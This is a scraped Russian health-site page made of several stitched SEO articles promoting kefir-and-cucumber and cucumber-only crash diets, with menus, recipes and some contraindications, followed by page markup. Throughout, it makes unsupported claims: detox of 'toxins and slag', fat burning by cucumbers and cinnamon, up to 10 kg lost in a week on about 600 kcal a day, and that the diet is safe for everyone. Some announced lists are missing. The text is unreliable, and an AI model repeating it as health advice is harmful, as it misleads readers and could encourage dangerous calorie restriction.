Диета кефир и огурцы результаты

Кефирно-огуречная диета

Преимущества диеты на кефире и огурцах

Она относится к монодиетам, поэтому долго следовать ей не рекомендуется. Оптимальным вариантом считается 3-5 дней. За это время можно сбросить до 5 кг. Люди, которые пробовали ее, отмечают, что похудение происходит быстро, а выдержать диету довольно легко.

Преимущество кефирно-огуречной монодиеты в том, что худеют на ней все. Она обладает такими свойствами:

способствует выведению из организма лишней жидкости;
очищает кишечник от токсинов, шлаков;
содержит простые доступные продукты и блюда, которые почти не нужно готовить.

Читать еще: Щд диета расшифровка

Вес теряется уже с первого дня. Объясняется такая эффективность кефирно-огуречной монодиеты свойствами основных ее ингредиентов. Они хорошо сочетаются, дополняя и усиливая действие друг друга.

Польза огурцов для похудения

Этот овощ относится к низкокалорийным. В нем не более 15 ккал, а 80% состава занимает жидкость. Благодаря этому они обеспечивают насыщение, но жир не откладывается. Наоборот, на их переваривание организму нужна энергия, которую он берет в жировых запасах.

В огурцах содержится много витаминов, есть фосфор, магний, йод, кремний, железо. Они понижают артериальное давление, нормализуют уровень сахара в крови. Этот продукт относится к легкоусваиваемым. Он не только сам быстро переваривается, но и ускоряет расщепление белков и жиров.

Кроме того, огурцы оказывают мочегонный эффект. Они выводят из организма лишнюю воду, предотвращая появление отеков. А за счет большого количества клетчатки очищается кишечник. Если есть их очень много, вместе со шлаками может выводиться полезная микрофлора. Но предотвращает ее нарушение употребление кефира.

Польза кефира

В сочетании с огурцами кефир улучшает работу кишечника. В нем содержатся ферменты и вещества, способствующие расщеплению жиров. Он легко усваивается, полезен даже людям с проблемами в работе органов пищеварения. Этот продукт содержит много кальция, других минералов, витаминов, лактобактерий.

Для кефирно-огуречной диеты нужно выбирать кефир низкой жирности – 1-2%. В нем содержится 40 ккал, 4 г белка, 5 г углеводов. Нужно также учитывать, что свежий продукт обладает легким слабительным действием, а через 3 дня – крепит.

Недостатки диеты на огурцах и кефире, отзывы о побочных эффектах

Но не все могут выдержать такое питание. Если говорить именно о диете, а не о разгрузочных днях, то ее противопоказано соблюдать при хроническом гастрите, язве желудка, сердечно-сосудистых заболеваниях, патологиях почек.

Диета на огурцах и кефире – это однообразный рацион. Полезна она только 2-3 дня, за которые выводятся шлаки и токсины. После этого организм начинает терять вместе с жировыми запасами полезные вещества. Это может привести к нарушению водно-солевого обмена. Отзывы о кефире с огурцом для похудения часто говорят о развитии таких побочных эффектов:

Поэтому при соблюдении такой диеты дольше 3 дней рекомендуется добавлять другие продукты. Это могут быть яблоки, апельсины, травяные чаи с лимоном или медом, отварная рыба или куриная грудка.

Варианты диет для похудения на кефире и огурцах

При таком питании можно потерять от 300 г до 1 кг за день. Это зависит от начального веса, состояния обменных процессов, физической активности. Люди, желающие похудеть таким способом, пробовали разные варианты диет. Чтобы не принести вреда организму, нужно следовать рекомендациям, посоветоваться с врачом.

Самым простым и безопасным способом похудеть является разгрузочный день на огурцах с кефиром. Его можно применять еженедельно. Это поможет ускорить метаболизм без потери полезных питательных веществ. За сутки человек не успевает почувствовать сильного голода, поэтому не срывается. Благодаря такому питанию вес не возвращается, а похудение происходит хоть медленно, но стабильно.
Кефирно-огуречная трехдневная диета – более сложный вариант похудения. Она подходит для тех, кто решил попробовать монодиету. За 3 дня обычно не появляются побочные эффекты, нет также потери необходимых микроэлементов. Но некоторые отмечают сильный слабительных эффект. Поэтому желательно при соблюдении ее быть дома.
Кефирно-огуречную пятидневную диету выдержать сложнее, но за это время можно потерять до 5 кг. Многие отмечают появление сильного голода, слабости. Рекомендуется не подвергать организм во время диеты высоким физическим нагрузкам.
Экстремальный вариант похудения – это кефирно-огуречная семидневная диета. Дольше 7 дней ограничивать питание только двумя продуктами не рекомендуется, так как организм испытывает недостаток необходимых питательных веществ. Поэтому рекомендуется дополнительно принимать поливитамины. А если ощущается сильная слабость, головокружение или боли в животе, диету нужно прекратить.

Правильный выход

Если срок такой диеты 5–7 дней, необходимо переходить к обычному питанию постепенно. Резкое возвращение привычного рациона может вызвать нарушение работы кишечника, быстрое возвращение потерянных килограммов.

Сначала в рацион добавляются фрукты и ягоды — апельсины, яблоки, груши. Они восполнять недостаток витаминов. Употребляются также некрахмалистые овощи. Нельзя в первый день пищу жарить, делать салаты с маслом — это может привести к расстройству желудка.

На второй день можно добавить морепродукты, нежирную рыбу и мясо, молоко. Постепенно рацион можно расширять. Но чтобы поддержать результат диеты, не рекомендуется употреблять калорийную и жирную пищу.

Меню кефирно-огуречной диеты: отзывы о рационе

Диета из огурцов с кефиром представляет собой сочетание 1,5 кг овоща и 1,5-2 л напитка. Кушать рекомендуется несколько раз в день, чтобы не испытывать сильного голода промежуток между приемами пищи должен составлять не более 2 часов. В меню включается также питьевая или негазированная минеральная вода, отвары трав или некрепкий зеленый чай.

При таком питании питательная ценность рациона будет составлять 700 ккал в день. Организм будет получать 100 г углеводов, 57 г белка, 1 г жиров.

Некоторые отмечают, что этот рацион однообразен и невкусен. Поэтому допускается разбавить его зеленью. Она содержит минимум калорий и усиливает эффект похудения. Используется укроп, петрушка, сельдерей, базилик, листья чеснока.

Можно приправлять блюда черным перцем или другими специями. Особенно полезны корица и имбирь, так как они тоже обладают жиросжигающим действием. Полностью нужно исключить из рациона соль, сахар.

Варианты приготовления блюд

Кефир и огурцы на диете можно употреблять без всякой обработки. Это одно из ее преимуществ: не нужно стоять у плиты, что-то резать, смешивать. Можно просто откусывать от огурца и запивать кефиром. Но многим надоедает такое однообразное питание. Поэтому можно попробовать разные блюда из этих продуктов. Основное правило их употребления – готовить небольшими порциями и съедать сразу.

Натереть огурец на крупной терке, залить кисломолочным напитком. Не добавлять соли. По желанию можно порезать немного зелени. Получиться вкусный освежающий суп.
Жиросжигающий коктейль делается из стакана кефира, 2 небольших огурцов, зелени укропа и петрушки. Овощи измельчают, заливают напитком, взбивают в блендере. Можно коктейль пить через трубочку или есть ложкой.
Можно сделать салат из огурцов и зелени. Вместо заправки, использовать кефир. Чтобы разнообразить рацион при длительном соблюдении диеты разрешено раз в день употреблять салат с небольшим количеством оливкового масла.

Читать еще: Шоколадная диета на 3 дня отзывы

Разрешенные продукты

Многие отзывы о кефире, огурцах и зелени для похудения отмечают, что выдержать даже 5 дней на таком рационе очень сложно. Кроме недостатка питательных веществ, это может привести к нарушению работы желудочно-кишечного тракта. Чтобы этого избежать, при длительном соблюдении диеты нужно добавлять несколько продуктов, которые не помешают худеть, но помогут избежать побочных эффектов.

Что можно включить в рацион питания при 5–7-дневной диете:

из зелени, кроме укропа и петрушки, разрешен кресс-салат, пекинская капуста, сельдерей, базилик;
раз в день можно съесть кусочек цельнозернового хлеба;
дополнить меню можно нежирным натуральным йогуртом;
чтобы восполнить недостаток белка, употребляют отварную куриную грудку, вареное мясо горбуши или форели, куриные яйца, творог;
из напитков, кроме минеральной воды, разрешен отвар шиповника, зеленый чай, цикорий, отвары мяты, ромашки;
можно каждый день съедать 1 яблоко или 1 апельсин, в воду добавлять лимонный сок.

Отзывы о диете на огурцах и кефире и результаты применения

Несмотря на то, что диетологи скептически относятся к такому варианту похудения, он довольно популярен за счет своей простоты. Многим неважно, что большая часть лишних килограммов уходит за счет потерь жидкости и очищения кишечника. Отзывы о кефире, огурцах и зелени для похудения чаще всего отмечают ее быстрый эффект и простоту применения.

Женщинам нравится, что за 3-4 дня можно похудеть на 3 кг без усилий. Но часто отзывы отмечают ее недостатки. Прежде всего, это появление слабости, расстройства кишечника. Поэтому более популярны короткие сроки диеты. Разгрузочные дни на кефире и огурцах выдержать могут все, вреда они никому не приносят.

Кефирно-огуречная диета – это простой и быстрый способ похудеть. Если учитывать противопоказания и соблюдать все рекомендации, такой рацион не принесет вреда, а поможет очистить организм.

ВАЖНО! Статья информационного характера! Перед применением необходимо проконсультироваться со специалистом.

Огуречная диета для похудения на 10 кг

Плюсы огуречной диеты

Минусы огуречной диеты

Эта диета достаточно рискованна и может вызвать обострение хронических заболеваний. При питании в основном одними огурцами часто возникает чувство слабости, головокружения, боли в животе, гастрит.

Диета противопоказана людям с заболеваниями почек, желудка и кишечника. Тяжело она дается спортсменам и людям, при активной интеллектуальной деятельности и физических нагрузках. Питательных веществ не хватает для нормального функционирования организма, ведь огурец на 90% состоит из воды.

Огуречная монодиета тяжело переносится психологически, так как ограничены все привычные продукты, а сами огурцы не обладают ярким вкусом.

Меню на неделю для огуречной диеты

Строгий вариант диеты является питанием в основном огурцами, в сутки вы получаете около 600 калорий. Такую диету трудно выдержать, она подходит людям с очень крепким здоровьем. Рацион при этом состоит из 1,5 – 3 кг огурцов в день, небольшом количестве оливкового масла для заправки и при сильном голоде изредка разрешен кефир с низким процентом жирности.

Во избежание возможных проблем рекомендуется добавлять в огуречное питание кисломолочные продукты, каши и другие овощи и фрукты. Тогда калорийность повышается до 1000 калорий, что позволяет снижать вес и не вредить здоровью.

Между приемами пищи разрешено есть огурцы в любом количестве. Щадящий вариант диеты на неделю выглядит так:

Завтрак: тост из цельнозернового хлеба, два огурца

Обед: кусочек диетической говядины, салат из огурцов с зеленью

Ужин: стакан ряженки обезжиренной, огурец

Завтрак: каша овсяная на воде, апельсин

Обед: огуречный салат, яйцо

Ужин: тушеный кабачок, огурцы

Завтрак: кусочек сыра, два огурца

Обед: овощной суп на воде, огурец

Ужин: стакан ряженки обезжиренной, огурец

Завтрак: тост из цельнозернового хлеба, два огурца

Обед: яблоко или груша, огуречный салат с маслом и тертой морковью

Ужин: салат из помидоров, лука и огурцов, яйцо

Завтрак: стакан йогурта без добавок, два огурца

Обед: овощной суп-пюре, два огурца

Ужин: стакан обезжиренного кефира, отварная белая рыба с рисом, огурец

Завтрак: стакан йогурта без добавок, два огурца

Обед: апельсин, салат из редиса, капусты и огурцов, яйцо

Ужин: огурцы

Завтрак: тост из цельнозернового хлеба, два огурца

Обед: яблоко, огуречный салат с маслом и тертой морковью

Ужин: стакан обезжиренного кефира, отварная белая рыба с рисом, огурец

Результаты

При питании в основном огурцами, то есть полном соблюдении монодиеты, возможно уменьшение веса на 10 килограмм за неделю. Но стоит иметь в виду, что часть этого является ушедшей «лишней» водой, и не все потерянное является именно жировой массой. Такое резкое снижение веса довольно опасно для здоровья.

Более безопасный вариант диеты с добавлением белковой пищи дает меньший результат, до 6 – 7 кг, но он более стабилен и наносит меньше вреда.

Кефирно-огуречная диета

Существует огромное множество различных диет. Сложно выбрать ту, которая поможет добиться желаемого эффекта, не нанося при этом вред организму. Если необходимо сбросить несколько лишних килограмм в кратчайшие сроки есть отличный способ. Кефирно-огуречная диета идеально справится с этой задачей.

Что представляет из себя кефирно-огуречная диета

Огуречно-кефирная диета считается диетической. Основными продуктами являются огурцы и кефир. В данных продуктах содержится минимальное количество калорий, также сочетание этих продуктов оказывает мочегонное действие и мягкий эффект слабительного. В них содержатся такие вещества как магний, натрий и калий, они в свою очередь питают организм.

Кефир способствует улучшению пищеварения, поддерживает микрофлору кишечника и желудка. Человеку для поддержания веса при минимальных физических нагрузках рекомендуется употреблять 1200-1500 калорий. Прибегнув к данной диете, потребление калорий становится минимальным. Благодаря этому быстро достигается необходимый эффект. Также кефирно-огуречная диета способствует улучшению общего самочувствия.

Показания к применению

Данная диета рекомендуется для эффективного похудения в короткие сроки. Например, перед предстоящей поездкой в отпуск или важным мероприятием. Кроме этого, она применяется для очищения организма. Под воздействием основных пищевых компонентов происходит очищение как желудка, так и кишечника.

Читать еще: Диета на геркулесе отзывы

Выводятся различные шлаки и прочие вредные вещества, ежедневно накапливающиеся в нашем организме. Кефирно-огуречная диета рекомендована людям, у которых часто встречаются аллергические реакции на различные виды продуктов.

Какой можно получить эффект

Сочетание двух самостоятельных моно-диет кефирной и огуречной дают потрясающий результат. Это одна из самых популярных и безопасных диет.

Она бывает трех видов:

Рацион однодневной диеты:

2 килограмма огурцов;
1 литр кефира.

Огурцы следует принимать в пищу мелко нарезанными в виде салата. Дополнительно можно добавить различную зелень (петрушка, укроп). Заправкой послужит лимонный сок или кефир. Ни в коем случае не рекомендуются такие приправы как соль и перец. Соль препятствует выводу жидкости из организма. Перец раздражает стенки желудка, что может привести к неприятным последствиям и ощущению дискомфорта. Следуя один день данному рациону уходит от 1 до 1.5 кг лишнего веса. Происходит перезагрузка всего организма.

Меню на 7 дней диеты

Завтрак

Салат с огурцом и зеленью, заправленный лимонным соком с добавлением оливкового масла. 1 стакан кефира с жирностью 1%

Второй завтрак2 Огурца средних размеров

Перекус1 Стакан кефираОбед

Салат из огурцов и зелени. Заправка кефир. 1 Куриное яйцо, сваренное в крутую.

Полдник1 средний огурец

УжинСалат из огурцов заправленный растительным маслом. 1 стакан кефираПеред сном1 стакан кефира

Калорийность продуктов, входящих в состав кефирно-огуречной диеты

100 гр	Калории	Белки	Жиры	Углеводы
Кефир 1%	37	3.1	1.1	3.5
Огурцы свежие	15	0.7	0.2	2.5
Яйцо куриное	150	12.9	11.6	0.8
Редис	19	1.1	0.2	3.3
Базилик	29	3.3	0.5	2.6
Укроп	40	2.4	0.6	6.4
Растительное масло	899		53
Оливковое масло	824		99

Трехдневная диета

Самой лучшей по эффективности считается именно трехдневная диета. За это время организм достигает лучшей разгрузки и теряет от 3 до 5 кг лишних килограмм. Во время данной моно-диеты запрещено употреблять в пищу посторонние продукты.

Основу рациона составляет 1л кефира, 2 кг огурцов, допустимо также съедать 1-2 вареных яйца и 1-2 ломтика диетических хлебцов. Белковосодержащие продукты следует употреблять в пищу в первой половине дня.

Также необходимо выпивать большое количество воды, запрещается пить черный или зеленый чай, а также кофе. Исключением могут являться чаи на травах, они благоприятно влияют на пищеварение и нервную систему.

Пятидневная

Четко следуя рекомендациям данной диеты, за пять дней уходит приблизительно от 5 до 7 лишнего веса. Происходит очищение всего организма, выводятся различные токсичные вещества и шлаки. В рацион также входят огурцы, кефир, различная зелень, вареные яйца и травяные чаи. Дробное питание лучший помощник при потере лишних килограммов. Рекомендуется принимать пищу 4-6 раз в день.

В салаты можно добавлять Брокколи

Несколько способов разнообразить меню

К салату из огурцов рекомендуется добавлять мелко порезанную пекинскую капусту и редис. Из зелени хорошо подойдет петрушка, укроп или базилик. В качестве заправки отлично решением будет чайная ложка лимонного сока, оливкового или растительного масла.
Отличным вариантом будут кефирно-огуречные коктейли. 1.5 кг свежих огурцов необходимо потереть на крупной терке после чего смешать с 1.5 литрами нежирного кефира. На один стакан коктейля можно добавить пол чайной ложки молотой корицы. Полученный объем нужно разделить на количество приемов пищи.
Холодный суп. Пару небольших свежих огурцов, редис и различная зелень (петрушка или укроп) нужно мелко нарезать и залить это все 1% кефиром.

Разгрузочные дни

Перед тем как начинать данную диету врачи диетологи советуют ввести в свой рацион наличие разгрузочных дней. Основной смысл у таких разгрузочных дней, как и у диеты, но более щадящий.

В день необходимо съедать не меньше 1.5 кг свежих огурцов, а также выпивать 1.5 литра 1% кефира. Пищу следует принимать 5-7 раз в день. Такие дни рекомендуется проводить раз в неделю, что позволит выводить из организма вредные вещества и избавляться от пары лишних килограмм.

Как правильно выходить из кефирно-огуречной диеты

При выходе из диеты в первые дни не стоит употреблять в пищу тяжелые продукты. Идеальным вариантом будут ряженка, нежирный йогурт или творог. Также можно ввести в рацион фрукты и овощи. Спустя несколько дней разрешается добавить крупы (гречка, рис, геркулес) и отварной картофель. Чтобы зафиксировать получившийся результат, полученный от диеты, в дальнейшем необходимо следить за своим питанием. Как можно меньше употреблять жирных и трудно усваиваемых продуктов. Принимать пищу как можно чаще и маленькими порциями. Выпивать в день минимум 1.5 л воды.

Противопоказания

Любая диета-это сильный стресс для организма. Настоятельно рекомендуется во время диеты принимать витамины. Так как помимо вредных веществ, из организма вымываются и полезные микроэлементы.

Если имеются такие заболевания :

Гастрит;
Язва желудка и кишечника;
Мочекаменная болезнь.

Прибегать к данной диете настоятельно не рекомендуется:

Период беременности;
Период грудного вскармливания.

Прибегать к такому роду питания рекомендуется не чаще двух раз в год. Продолжительность диеты ни в коем случае не должна превышать семи дней. Если применять кефирно-огуречную диету дольше рекомендованного времени, могут появиться такие неприятные последствия как, нарушение функций здоровья, истощение организма, обострение каких-либо имеющихся заболеваний. Если следовать всем рекомендациям и правильно соблюдать режим питания, будет достигнут желаемый результат в короткие сроки и без вреда для здоровья.

</div></div></article><div class="post-meta"><div class="post-rating"><div class="post-rating__title">Оценка статьи:</div><div id="post-ratings-1139" class="post-ratings" data-nonce="520e409ebe"><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(1139, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1139_1" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="1 звезда" title="1 звезда" onmouseover="current_rating(1139, 1, '1 звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(1139, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1139_2" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="2 звезды" title="2 звезды" onmouseover="current_rating(1139, 2, '2 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(1139, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1139_3" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="3 звезды" title="3 звезды" onmouseover="current_rating(1139, 3, '3 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(1139, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1139_4" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="4 звезды" title="4 звезды" onmouseover="current_rating(1139, 4, '4 звезды');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(1139, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></noscript><img class="lazyload" id="rating_1139_5" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_off.gif" alt="5 звезд" title="5 звезд" onmouseover="current_rating(1139, 5, '5 звезд');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;" /></div><div id="post-ratings-1139-loading" class="post-ratings-loading"><noscript><img src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image" /></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2016%2016%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="lazyload post-ratings-image" /> Загрузка...</div></div></div><meta itemprop="headline" content="Диета кефир и огурцы результаты"><meta itemprop="author" content="Fermovod"><meta itemprop="datePublished" content="2020-01-03"><meta itemprop="dateModified" content="2020-01-03"> <a itemprop="url" href="https://spa-zhemchuzhina.ru/ochishhenie/dieta-kefir-i-ogurtsy-rezultaty.html" style="display:none">Диета кефир и огурцы результаты</a> <a itemprop="mainEntityOfPage" href="https://spa-zhemchuzhina.ru/ochishhenie/dieta-kefir-i-ogurtsy-rezultaty.html" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://spa-zhemchuzhina.ru/wp-content/cache/thumb/1e/3858b1103f9f31e_320x200.jpg" alt="Диета кефир и огурцы результаты"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/cache/thumb/1e/3858b1103f9f31e_320x200.jpg" alt="Диета кефир и огурцы результаты"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Здоровье и Уход"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <noscript><img itemprop="url" src="https://spa-zhemchuzhina.ru/wp-content/uploads/2021/01/bigstock-Spa-Towel-With-Flower-And-Ribb-137413076.jpg" alt="Здоровье и Уход"></noscript><img class="lazyload" itemprop="url" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/uploads/2021/01/bigstock-Spa-Towel-With-Flower-And-Ribb-137413076.jpg" alt="Здоровье и Уход"></div></div></div><div class='yarpp-related'><div class="title">Похожие публикации</div><ul class="related"><li class="related__item"><div class="related__item-img"> <noscript><img src="https://spa-zhemchuzhina.ru/wp-content/cache/thumb/5b/bcabf7501c71f5b_205x198.jpg" width="205" height="198" alt="Питьевая диета рецепты" class="aligncenter" loading="lazy"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20205%20198%22%3E%3C/svg%3E' data-src="https://spa-zhemchuzhina.ru/wp-content/cache/thumb/5b/bcabf7501c71f5b_205x198.jpg" width="205" height="198" alt="Питьевая диета рецепты" class="lazyload aligncenter" loading="lazy"></div> <a href="https://spa-zhemchuzhina.ru/ochishhenie/pitevaya-dieta-retsepty.html">Питьевая диета рецепты</a></li> <script id="true_loadmore" data-offset="1">var ajaxurl = 'https://spa-zhemchuzhina.ru/wp-admin/admin-ajax.php'; var cat = '18'; var items = '4';</script> </ul></div><aside class="comments-block"><div class="wpdiscuz_top_clearing"></div><div id="comments" class="comments-area"><div id="respond" style="width: 0;height: 0;clear: both;margin: 0;padding: 0;"></div><h3 id="wc-comment-header"> Оставить комментарий</h3><div id="wpcomm" class="wpdiscuz_unauth wpd-default"><div class="wpdiscuz-form-top-bar"><div class="wpdiscuz-ftb-left"><div id="wc_show_hide_loggedin_username"></div></div><div class="wpd-clear"></div></div><div class="wc_social_plugin_wrapper"></div><div class="wc-form-wrapper wc-main-form-wrapper" id='wc-main-form-wrapper-0_0' ><div class="wpdiscuz-comment-message" style="display: block;"></div><form class="wc_comm_form wc_main_comm_form" method="post" enctype="multipart/form-data"><div class="wc-field-comment"><div class="wpdiscuz-item wc-field-textarea" ><div class="wpdiscuz-textarea-wrap "><div class="wc-field-avatararea"> <noscript><img alt='avatar' src='https://secure.gravatar.com/avatar/?s=40&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=80&d=mm&r=g 2x' class='avatar avatar-40 photo avatar-default' height='40' width='40' /></noscript><img alt='avatar' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2040%2040%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=40&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=80&d=mm&r=g 2x' class='lazyload avatar avatar-40 photo avatar-default' height='40' width='40' /></div><textarea id="wc-textarea-0_0" placeholder="Начать обсуждение..." required name="wc_comment" class="wc_comment wpd-field"></textarea></div></div><div class="clearfix"></div></div><div class="wc-form-footer" style="display: none;"><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input value="" required="required" class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern=".{3,50}" title=""></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input value="" required="required" class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*"></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт"></div></div><div class="wpd-form-col-right"><div class="wc-field-captcha wpdiscuz-item wc_captcha-wrapper"><div class="wc-bin-captcha"> <i class="fas fa-shield-alt"></i>Эта форма комментариев находится по защитой антиспам</div></div><div class="wc-field-submit"> <label class="wpd_label" title="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-0_0" class="wc_notification_new_comment-0_0 wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input class="wc_comm_submit wc_not_clicked button alt" type="submit" name="submit" value="Оставить комментарий"></div></div><div class="clearfix"></div></div></div><div class="clearfix"></div> <input type="hidden" class="wpdiscuz_unique_id" value="0_0" name="wpdiscuz_unique_id"></form></div><div id = "wpdiscuz_hidden_secondary_form" style = "display: none;"><div class="wc-form-wrapper wc-secondary-form-wrapper" id='wc-secondary-form-wrapper-wpdiscuzuniqueid' style='display: none;' ><div class="wpdiscuz-comment-message" style="display: block;"></div><div class="wc-secondary-forms-social-content"></div><div class="clearfix"></div><form class="wc_comm_form wc-secondary-form-wrapper" method="post" enctype="multipart/form-data"><div class="wc-field-comment"><div class="wpdiscuz-item wc-field-textarea" ><div class="wpdiscuz-textarea-wrap "><div class="wc-field-avatararea"> <noscript><img alt='avatar' src='https://secure.gravatar.com/avatar/?s=48&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/?s=96&d=mm&r=g 2x' class='avatar avatar-48 photo avatar-default' height='48' width='48' /></noscript><img alt='avatar' src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%2048%2048%22%3E%3C/svg%3E' data-src='https://secure.gravatar.com/avatar/?s=48&d=mm&r=g' data-srcset='https://secure.gravatar.com/avatar/?s=96&d=mm&r=g 2x' class='lazyload avatar avatar-48 photo avatar-default' height='48' width='48' /></div><textarea id="wc-textarea-wpdiscuzuniqueid" placeholder="Присоединиться к обсуждению..." required name="wc_comment" class="wc_comment wpd-field"></textarea></div></div><div class="clearfix"></div></div><div class="wc-form-footer" style="display: none;"><div class="wpd-form-row"><div class="wpd-form-col-left"><div class="wpdiscuz-item wc_name-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-user"></i></div> <input value="" required="required" class="wc_name wpd-field" type="text" name="wc_name" placeholder="Имя*" maxlength="50" pattern=".{3,50}" title=""></div><div class="wpdiscuz-item wc_email-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-at"></i></div> <input value="" required="required" class="wc_email wpd-field" type="email" name="wc_email" placeholder="Email*"></div><div class="wpdiscuz-item wc_website-wrapper wpd-has-icon"><div class="wpd-field-icon"><i class="fas fa-link"></i></div> <input value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="Веб-сайт"></div></div><div class="wpd-form-col-right"><div class="wc-field-captcha wpdiscuz-item wc_captcha-wrapper"><div class="wc-bin-captcha"> <i class="fas fa-shield-alt"></i>Эта форма комментариев находится по защитой антиспам</div></div><div class="wc-field-submit"> <label class="wpd_label" title="Сообщать о всех новых ответах на мои комментарии"> <input id="wc_notification_new_comment-wpdiscuzuniqueid" class="wc_notification_new_comment-wpdiscuzuniqueid wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type" /> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label> <input class="wc_comm_submit wc_not_clicked button alt" 